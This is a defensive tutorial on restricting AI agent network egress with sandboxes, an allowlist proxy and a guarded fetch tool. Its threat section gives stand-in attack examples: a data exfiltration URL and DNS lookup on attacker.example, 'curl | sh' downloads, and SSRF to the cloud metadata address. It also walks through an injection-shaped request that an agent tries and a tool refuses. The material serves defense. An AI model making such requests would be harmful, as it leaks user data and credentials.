AI agent network egress is every outbound connection your agent system can make: to model APIs, to tool servers, and from any code the agent runs. Limiting it is one of the few controls that still holds when a prompt injection works. You will learn which parts of an agent system need network access, how to give model-written code none, how to route the rest through an allowlist proxy, and how to make tools refuse what the proxy refuses. The code uses Promptise Foundry 1.7.0 or later, whose sandbox can join a Docker network behind your proxy.
How do you limit where an AI agent can connect?
Treat the agent as three parts with different needs. Give code the agent writes or runs no network at all. Send everything else, the agent process and its tool servers, through an egress proxy that only allows named hosts and logs every attempt. Then make the tools that fetch URLs check the same allowlist, refuse private addresses and not follow redirects. Enforce all of it outside the agent's own code, because the model can be talked into asking for anything.
Default deny. Start with no outbound access and add the few hosts each part needs.
Allowlist by host name, through a proxy. IP rules alone don't work for cloud services, and port rules let code reach any host on 443.
Separate the parts. The agent process needs the model API and its MCP servers; an MCP server needs only its own backend; a code sandbox usually needs nothing, and when it needs a few hosts, it sits on an internal network behind the proxy.
Tools check too. A fetch tool that follows redirects or reaches 169.254.169.254 undoes the network policy from the inside.
Log denials. A blocked connection from an agent is a signal worth reading.
[02]
What is agent network egress?
Egress is outbound network traffic. In an agent system it comes from three places:
The agent process calls the model provider's API and connects to its tool servers.
Tool servers, such as MCP servers, call the systems behind them: your database, a SaaS API, a search engine.
Executed code. When the agent runs Python or shell commands, that code can open any connection the environment allows.
Browser and computer-use agents add a fourth, the browser, which needs its own policy and is out of scope here.
[03]
What can go wrong without egress control?
An agent reads untrusted text all the time: web pages, emails, tickets, tool results. Any of it can carry instructions. If one gets through, network access decides how much damage it can do:
Data exfiltration. The model is told to "load" a URL with data in the query string: https://attacker.example/?d=<customer list>. One GET request is enough.
Server-side request forgery (SSRF). A fetch tool is pointed at an internal address: an admin panel, a database port, or the cloud metadata service at 169.254.169.254, which can hand out credentials.
Downloading payloads. Code the model writes runs pip install or curl | sh from an unknown source.
DNS exfiltration. Even without HTTP, a lookup of <data>.attacker.example sends data to whoever runs that domain's name server.
Lateral movement. A compromised sandbox scans your private network.
Prompt injection defenses lower the odds that the model asks. Egress control limits what happens when it asks anyway. AI agent prompt injection covers the first half, and hidden text prompt injection shows how to sanitize fetched pages before the model reads them.
[04]
When do you need agent egress control?
You need it when an agent:
runs code it wrote, or code from a skill, plugin or package;
has a tool that fetches URLs or calls APIs the model chooses;
reads untrusted content and has access to private data in the same run;
runs inside a network with internal services or cloud credentials.
You can keep it light for a local prototype with fixed tools that only call your own APIs and no code execution. Even then, give the process no more network than it needs; it costs little.
[05]
What you need
Docker, for the sandbox and proxy examples.
Promptise Foundry 1.7.0 or later with the sandbox extra, which adds the Docker client. docker_network and the metadata block in restricted mode are new in 1.7.0.
Python 3.10 or later, and an OpenAI key for the agent in Step 5.
uv venv && uv pip install "promptise[sandbox]>=1.7.0" httpx python-dotenv[06]
Step 1: Map what each part must reach
Write down every destination before you write any rules. For a typical support agent:
Part | Must reach | Should never reach |
|---|---|---|
Agent process | Model API (api.openai.com), its MCP servers | Anything else |
Billing MCP server | The billing API | The model API, the public internet |
Docs MCP server with a fetch tool | docs.python.org, your docs site | Internal networks, metadata service |
Code sandbox | Nothing, or a package mirror | Everything else |
This table is your policy. Every row is a different identity on the network, so each gets its own rule.
[07]
Step 2: Give agent-written code no network
Code the model writes is the riskiest egress source, so it gets the strictest rule. Promptise Foundry runs agent code in a Docker sandbox with three network modes: none (the default), restricted and full. The same probe runs under each.
The probe also tries the cloud metadata address. A laptop has no metadata service, so the example stands in for a cloud VM: a Docker network where a plain web server answers at 169.254.169.254. The sandbox joins that network with docker_network, which restricted and full accept:
#!/bin/bash
# A stand-in for a cloud VM: a network where 169.254.169.254 answers HTTP like a metadata service.
docker network create --subnet 169.254.169.0/24 fake-cloud
docker run -d --name fake-metadata --network fake-cloud --ip 169.254.169.254 \
python:3.12-slim python -m http.server 80"""Runs inside the sandbox: what can this code reach?"""
import socket
CHECKS = [
("DNS lookup", "example.com", None),
("HTTPS", "example.com", 443),
("HTTPS, another host", "pypi.org", 443),
("Postgres port", "portquiz.net", 5432),
("Cloud metadata", "169.254.169.254", 80),
]
for label, host, port in CHECKS:
try:
if port is None:
socket.getaddrinfo(host, 443)
else:
socket.create_connection((host, port), timeout=4).close()
result = "reachable"
except OSError as exc:
result = f"blocked ({type(exc).__name__})"
print(f"{label:<20} {host}:{port or 'dns'} {result}")"""Run the same code under each Promptise sandbox network mode."""
import asyncio
from pathlib import Path
from promptise.sandbox import SandboxManager
from promptise.sandbox.config import SandboxConfig
CODE = Path("reach.py").read_text()
async def run(mode: str) -> None:
# "none" has no network to join; the other modes join fake-cloud from fake_cloud.sh.
docker_network = None if mode == "none" else "fake-cloud"
config = SandboxConfig(
image="egress-sandbox:1.0", network=mode, docker_network=docker_network, timeout=60
)
async with SandboxManager(config) as manager:
session = await manager.create_session()
await session.write_file("/workspace/reach.py", CODE)
result = await session.execute("python /workspace/reach.py")
print(f"== network={mode!r}\n{result.stdout}")
async def main() -> None:
for mode in ("none", "restricted", "full"):
await run(mode)
asyncio.run(main())== network='none'
DNS lookup example.com:dns blocked (gaierror)
HTTPS example.com:443 blocked (gaierror)
HTTPS, another host pypi.org:443 blocked (gaierror)
Postgres port portquiz.net:5432 blocked (gaierror)
Cloud metadata 169.254.169.254:80 blocked (OSError)
== network='restricted'
DNS lookup example.com:dns reachable
HTTPS example.com:443 reachable
HTTPS, another host pypi.org:443 reachable
Postgres port portquiz.net:5432 blocked (TimeoutError)
Cloud metadata 169.254.169.254:80 blocked (TimeoutError)
== network='full'
DNS lookup example.com:dns reachable
HTTPS example.com:443 reachable
HTTPS, another host pypi.org:443 reachable
Postgres port portquiz.net:5432 reachable
Cloud metadata 169.254.169.254:80 reachableRead the middle block carefully. restricted allows DNS, and TCP ports 80 and 443 to any host outside the link-local range. It stopped the Postgres port and the metadata address, but example.com and pypi.org were both reachable. That is a port filter, not an allowlist: data can still leave over HTTPS to any server, or inside DNS queries. Promptise's sandbox docs say the same: restricted mode filters "ports, not hosts".
The metadata line is the 1.7.0 change. Before it, restricted mode let port 80 through to 169.254.169.254 like any other address, so code could read what a metadata service hands out over plain HTTP. Now it drops 169.254.0.0/16, fe80::/10 and fd00:ec2::254. Two gaps remain:
Private addresses. Ports 80 and 443 on any internal address the container can route to, such as an admin panel on 10.0.0.5, are still open.
Full mode. full reaches the metadata address, as the last block shows.
Restricted mode also fails closed: it needs iptables and ip6tables in the image, so the example builds one:
FROM python:3.12-slim
RUN apt-get update && apt-get install -y --no-install-recommends iptables && rm -rf /var/lib/apt/lists/*So use none unless the code truly needs the network, and bake packages into the image instead of installing them at run time. If code must reach a few hosts, attach the sandbox to an internal network behind the proxy from Step 3. AI agent code execution sandbox covers the rest of the sandbox: filesystem, limits and escapes.
[08]
Step 3: Put an allowlist proxy in front of everything else
For the parts that need the network, the standard pattern is a private network with no route out, plus one proxy that sits on both sides. The proxy checks each destination host name against the allowlist and logs the decision. Production proxies such as Stripe's Smokescreen do exactly this, and also resolve each host and refuse internal IP addresses. To see the mechanism, here is a minimal one:
"""A minimal egress proxy: HTTPS CONNECT to allowlisted hosts only, every decision logged."""
import asyncio
import sys
ALLOW = {"pypi.org", "files.pythonhosted.org", "api.openai.com"}
async def pipe(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
try:
while data := await reader.read(65536):
writer.write(data)
await writer.drain()
except OSError:
pass # one side hung up
finally:
writer.close()
async def handle(client_r: asyncio.StreamReader, client_w: asyncio.StreamWriter) -> None:
request = (await client_r.readuntil(b"\r\n\r\n")).decode("latin-1")
method, target, _ = request.split(" ", 2)
host, _, port = target.rpartition(":")
if method != "CONNECT" or port != "443" or host not in ALLOW:
print(f"DENY {method} {target}", flush=True)
client_w.write(b"HTTP/1.1 403 Forbidden\r\n\r\n")
client_w.close()
return
print(f"ALLOW {method} {target}", flush=True)
up_r, up_w = await asyncio.open_connection(host, 443)
client_w.write(b"HTTP/1.1 200 Connection established\r\n\r\n")
await asyncio.gather(pipe(client_r, up_w), pipe(up_r, client_w))
async def main() -> None:
server = await asyncio.start_server(handle, "0.0.0.0", 3128)
print("egress proxy on :3128, allow:", sorted(ALLOW), file=sys.stderr, flush=True)
await server.serve_forever()
asyncio.run(main())The test code tries one allowed host, one denied host, and a direct connection that skips the proxy:
"""Runs in the sandbox, which has only the internal network and HTTPS_PROXY set."""
import socket
import urllib.request
for url in ("https://pypi.org/simple/", "https://example.com/"):
try:
status = urllib.request.urlopen(url, timeout=10).status # honors HTTPS_PROXY
print(f"via proxy {url:<28} {status}")
except Exception as exc:
print(f"via proxy {url:<28} refused: {exc}")
try: # code that ignores the proxy setting and connects directly
socket.create_connection(("pypi.org", 443), timeout=4).close()
print("direct pypi.org:443 reachable")
except OSError as exc:
print(f"direct pypi.org:443 blocked ({type(exc).__name__})")It runs in a Promptise sandbox attached to an --internal Docker network, which has no external route. docker_network attaches it, and env points HTTPS_PROXY at the proxy:
"""Run fetch_test.py in a Promptise sandbox whose only network is the internal one."""
import asyncio
from pathlib import Path
from promptise.sandbox import SandboxManager
from promptise.sandbox.config import SandboxConfig
PROXY = "http://allowlist-proxy:3128"
config = SandboxConfig(
image="egress-sandbox:1.0",
network="full", # no port filter: the network itself has no route out
docker_network="agent-internal", # must exist before the session starts
env={"HTTPS_PROXY": PROXY, "HTTP_PROXY": PROXY},
timeout=60,
)
async def main() -> None:
async with SandboxManager(config) as manager:
session = await manager.create_session()
await session.write_file("/workspace/fetch_test.py", Path("fetch_test.py").read_text())
result = await session.execute("python /workspace/fetch_test.py")
print(result.stdout, end="")
asyncio.run(main())The script creates the network and the proxy, runs the sandbox, prints the proxy's log and cleans up:
#!/bin/bash
# An internal network with no route out; the proxy is the only container on both sides.
set -u
docker network create --internal agent-internal >/dev/null
docker run -d --name allowlist-proxy --network bridge -v "$PWD/allowlist_proxy.py:/proxy.py:ro" \
python:3.12-slim python -u /proxy.py >/dev/null
docker network connect agent-internal allowlist-proxy
sleep 2
python proxy_sandbox.py # the Promptise sandbox, attached to agent-internal only
echo "--- proxy log"
docker logs allowlist-proxy 2>&1
docker rm -f allowlist-proxy >/dev/null
docker network rm agent-internal >/dev/nullvia proxy https://pypi.org/simple/ 200
via proxy https://example.com/ refused: <urlopen error Tunnel connection failed: 403 Forbidden>
direct pypi.org:443 blocked (gaierror)
--- proxy log
egress proxy on :3128, allow: ['api.openai.com', 'files.pythonhosted.org', 'pypi.org']
ALLOW CONNECT pypi.org:443
DENY CONNECT example.com:443Three results matter:
The allowed host works. pypi.org returned 200 through the proxy.
The denied host fails and is logged. example.com got a 403, and the proxy recorded DENY.
Ignoring the proxy doesn't help. Code that connected directly couldn't even resolve the name, because the internal network has no DNS for outside names and no route out. This is why the network does the enforcing and the proxy setting is only a convenience.
A few details of the configuration:
network="full"on purpose. The internal network already has no route out. restricted would add its port filter, which only allows TCP 80 and 443, so it blocks a proxy on port 3128. To use both, run the proxy on port 443 or 80.Create the network first. A missing network stops the session from starting, with a message that says how to create it. Create the network and the proxy in the same deploy step.
No shortcuts. docker_network refuses host, none and container: networks, so the sandbox never shares the host's network or another container's.
The same shape works at every scale: Docker networks locally, a Kubernetes namespace whose NetworkPolicy only allows traffic to the proxy, or a cloud subnet whose only route out is the proxy. Kubernetes NetworkPolicies work at the IP and port level; for host-name rules in the cluster itself, CNI plugins such as Cilium offer FQDN policies.
[09]
Step 4: Make the tools enforce the same rules
A fetch tool runs inside an allowed process, often an MCP server, so the network policy can't see what the model asked for. The tool has to check, too. Three checks cover the common bypasses:
"""A fetch tool that can only reach allowlisted hosts over HTTPS."""
import asyncio
import ipaddress
from urllib.parse import urlsplit
import httpx
from promptise import ToolError, tool
ALLOWED_HOSTS = {"docs.python.org", "python.org"}
@tool(timeout=20)
async def fetch_url(url: str) -> str:
"""Fetch a page from an approved documentation site and return the first 2,000 characters."""
parts = urlsplit(url)
if parts.scheme != "https":
raise ToolError("Only https:// URLs are allowed.")
host = (parts.hostname or "").lower()
if host not in ALLOWED_HOSTS:
raise ToolError(f"{host} is not on the allowlist {sorted(ALLOWED_HOSTS)}.")
for *_, sockaddr in await asyncio.get_running_loop().getaddrinfo(host, 443):
if not ipaddress.ip_address(sockaddr[0]).is_global: # private, loopback, metadata
raise ToolError(f"{host} resolves to a non-public address.")
async with httpx.AsyncClient(follow_redirects=False, timeout=10) as client:
resp = await client.get(url)
if resp.is_redirect: # an allowed host must not bounce us somewhere else
raise ToolError(f"Redirect to {resp.headers.get('location')} was not followed.")
resp.raise_for_status()
return resp.text[:2000]"""Call the tool directly with good and bad URLs, no model involved."""
import asyncio
from promptise import ToolError
from fetch_tool import fetch_url
URLS = [
"https://docs.python.org/3/",
"https://example.com/",
"http://169.254.169.254/latest/meta-data/",
"https://python.org/",
]
async def main() -> None:
for url in URLS:
try:
text = await fetch_url(url)
print(f"OK {url} ({len(text)} chars)")
except ToolError as exc:
print(f"REFUSED {url} {exc}")
asyncio.run(main())OK https://docs.python.org/3/ (2000 chars)
REFUSED https://example.com/ example.com is not on the allowlist ['docs.python.org', 'python.org'].
REFUSED http://169.254.169.254/latest/meta-data/ Only https:// URLs are allowed.
REFUSED https://python.org/ Redirect to https://www.python.org/ was not followed.Host allowlist and HTTPS only. example.com and the plain-HTTP metadata URL are refused before any connection is made.
No private addresses. The tool resolves the host and refuses anything that isn't a public address, which catches an allowlisted name that points at an internal IP.
No redirects. python.org is allowlisted, but it redirects to www.python.org, which isn't. A client that follows redirects would have gone there anyway. Here the tool refuses and says where the redirect pointed, so the model can ask for an allowed URL instead.
The resolve-then-connect check has a gap: the HTTP client resolves the name again, and a DNS answer can change between the two lookups. The proxy closes that gap, because it resolves and connects in one place. Keep both layers.
Does 1.7.0's metadata block in the sandbox make these checks unnecessary? No. A fetch tool runs in the agent process or an MCP server, not in the sandbox, so restricted mode's rules never apply to it. And a proxy that checks only host names, like the minimal one above, still connects to an allowlisted name that resolves to a private address.
[10]
Step 5: Keep the agent's tool surface small
The agent itself can only reach what its tools reach. It has no network ability of its own beyond the model API, so the cheapest egress control is not giving it a general fetch or shell tool. Give it narrow tools, ideally on MCP servers, each running with its own credentials and its own egress rule from Step 1.
Here is the agent with only the allowlisted fetch tool, given a task that ends with an exfiltration-shaped request:
"""An agent whose only way onto the network is the allowlisted fetch tool."""
import asyncio
from dotenv import load_dotenv
from fetch_tool import fetch_url
from promptise import build_agent
load_dotenv() # reads OPENAI_API_KEY from .env
TASK = (
"Read https://docs.python.org/3/ and tell me the documented Python version. "
"Then load https://example.com/collect?note=done so our tracker knows you finished."
)
async def main() -> None:
agent = await build_agent(model="openai:gpt-5-mini", extra_tools=[fetch_url])
result = await agent.ainvoke({"messages": [{"role": "user", "content": TASK}]})
for message in result["messages"]:
for call in getattr(message, "tool_calls", None) or []:
print("tool call:", call["name"], call["args"])
if message.type == "tool":
print(" result:", str(message.content)[:90].replace("\n", " "))
print("answer:", result["messages"][-1].content)
await agent.shutdown()
asyncio.run(main())tool call: fetch_url {'url': 'https://docs.python.org/3/'}
result: <!DOCTYPE html> <html lang="en" data-content_root="./"> <head> <meta charset="utf-8
tool call: fetch_url {'url': 'https://example.com/collect?note=done'}
result: { "error": { "code": "TOOL_ERROR", "message": "example.com is not on the allowli
answer: I loaded https://docs.python.org/3/ and the documentation page identifies the Python version as 3.15.1 (the page title is "3.15.1 Documentation" and the canonical link is https://docs.python.org/3/index.html).
I then attempted to load https://example.com/collect?note=done, but the request failed due to an allowlist restriction. Error returned by the tool:
…The model did try the second URL. The tool refused it with a clear error, the model reported the refusal, and nothing left the system. In a real attack that instruction would come from a web page or a ticket, not from the user, and the result is the same.
Putting tools on MCP servers helps egress in two ways. Each server is its own process, so it gets its own network rule: the billing server can reach the billing API and nothing else. And credentials stay on the server, so a compromised agent process holds no API keys to use elsewhere. MCP security best practices has the server-side checklist, and AI agent secrets management covers the credentials.
[11]
Step 6: Control DNS and log every denial
DNS is an egress channel of its own. A sandbox that can resolve arbitrary names can leak data in the names it looks up, even with HTTP blocked. Two rules handle it:
No public DNS from sandboxes. On an internal network, the proxy resolves names, not the client, which the Step 3 output shows: the direct attempt failed at name resolution.
One resolver you control for everything else, with logging, and no direct port 53 or DNS-over-HTTPS to outside resolvers.
Then use the logs. Every DENY line from an agent is either a misconfigured allowlist or something trying to leave. Alert on a burst of denials, on new destinations, and on large request bodies to allowed hosts. AI agent audit logging shows how to keep a record of what the agent did.
[12]
Running agent egress control in production
Enforce outside the agent's reach. Network policy, proxy and resolver live where the agent's code can't change them, not in the agent's process.
One policy per identity. The agent process, each MCP server and each sandbox get their own rule. Never one shared allowlist for everything.
Cover IPv6. A rule set that only covers IPv4 leaves a second way out.
Block the metadata service for every workload that doesn't need it, and require token-based metadata access where your cloud offers it. Restricted sandboxes block it since 1.7.0; the agent process, MCP servers and full sandboxes need their own rule.
Pin package installs to a mirror or pull-through cache, so code never reaches public registries directly.
Test the policy in CI. Run the Step 2 and Step 3 probes against your real images and fail the build when something unexpected is reachable.
Review the allowlist like code: owners, reasons and expiry for each entry.
[13]
Common problems and fixes
Symptom | Cause | Fix |
|---|---|---|
network="restricted" still reaches any HTTPS site | Restricted mode filters ports, not hosts | Use none, or docker_network with an internal network behind an allowlist proxy |
A restricted sandbox reaches an internal web service | The port filter allows 80 and 443 to private addresses; only link-local is dropped | Use none, or an internal network where the proxy is the only other container |
Sandbox won't start with restricted | The image has no iptables; the mode fails closed | Use an image with iptables and ip6tables, or another mode |
"Docker network 'agent-internal' (sandbox docker_network) does not exist" | The network wasn't created before the session |
|
ValidationError: docker_network "needs network='full' or network='restricted'" | docker_network set with network="none" | none has no network to attach; drop docker_network, or use full on an internal network |
Proxy calls time out from a sandbox on docker_network | restricted allows TCP only to 80 and 443, and the proxy listens on 3128 | Use full on the internal network, or run the proxy on port 443 |
A library ignores HTTPS_PROXY | Not every client reads the proxy variables | Rely on the network having no other route; the call fails safely |
Allowed host still leads somewhere else | The client follows redirects | Disable redirects in tools; allowlist the final host if it's needed |
Tool reaches an internal service by name | Allowlisted name resolves to a private IP | Refuse non-public addresses in the tool and in the proxy |
Agent can't install a package | No network in the sandbox | Bake packages into the image, or allow a package mirror |
Logs show many DENY lines from one run | A prompt injection, or a missing allowlist entry | Read the run's inputs before widening the list |
[14]
Limitations
Allowed hosts can still carry data out. A model API, a code host or a ticketing system on the allowlist can receive exfiltrated text. Keep allowlists short and watch request sizes.
Promptise's sandbox has no host allowlist of its own. Its modes are none, a port filter, or full. Since 1.7.0 it can join a Docker network you create, so host rules come from the proxy on that network. Creating the network and running the proxy is still your job.
The metadata check here ran against a stand-in. Step 2 used a local web server at 169.254.169.254, not a real cloud VM. On a cloud host, run the same probe from a sandbox before you rely on it.
The minimal proxy in this guide is for learning. It handles only HTTPS CONNECT, doesn't resolve-and-check IP addresses, and has no auth. Use a maintained proxy in production.
Tool-level checks can be bypassed by a buggy tool. That is why the network layer has to enforce the same rules.
Egress control doesn't stop misuse of allowed actions. An agent can still do harm through the tools it legitimately has; approvals and permissions handle that.
[15]
FAQ
How do I restrict an AI agent's internet access?
Give code the agent runs no network at all, and send the agent process and its tool servers through an egress proxy that allows only named hosts. Put them on a network with no other route out, so code that ignores the proxy simply fails. Make fetch tools check the same allowlist.
What is an egress allowlist for AI agents?
It is the list of host names each part of an agent system may connect to, enforced outside the agent, usually by a proxy. Everything not on the list is refused and logged. Each part gets its own list: the agent process, each tool server and each sandbox.
Does a sandbox stop an AI agent from leaking data?
Only if its network is closed. A sandbox with outbound HTTPS to any host can send data anywhere in one request. Use no network for model-written code. When it truly needs a few hosts, put it on an internal network whose only way out is an allowlist proxy.
How does prompt injection relate to network egress?
Prompt injection makes the model ask for things it shouldn't, such as loading a URL with private data in it. Egress control decides whether that request can succeed. You need both: defenses that make injection less likely, and a network that limits the damage when it works.
Why block 169.254.169.254 for AI agents?
It is the cloud metadata address. On many cloud setups it can return instance details and temporary credentials. A fetch tool or code that can reach it can hand those to an attacker, so block it for every agent workload that doesn't need it. Since Promptise Foundry 1.7.0, the sandbox's restricted mode drops it; tools, tool servers and other modes need their own block.
What network controls does Promptise provide?
Promptise Foundry's code sandbox has three network modes: none by default, restricted (DNS, plus ports 80 and 443 to any host outside the link-local range) and full. Since 1.7.0, docker_network attaches the sandbox to a Docker network you create, such as an internal one behind an allowlist proxy. Foundry has no host-name allowlist itself, so host rules come from that proxy, plus checks in your tools. Promptise agents can also be limited to MCP tools that run as separate processes with their own network rules.
[16]
Next steps
AI agent code execution sandbox covers the container around agent-written code.
AI agent prompt injection covers the attacks egress control backs up.
MCP security best practices is the checklist for the servers behind your tools.
AI agent secrets management keeps credentials out of the agent process.
AI agent production checklist puts egress next to the other launch checks.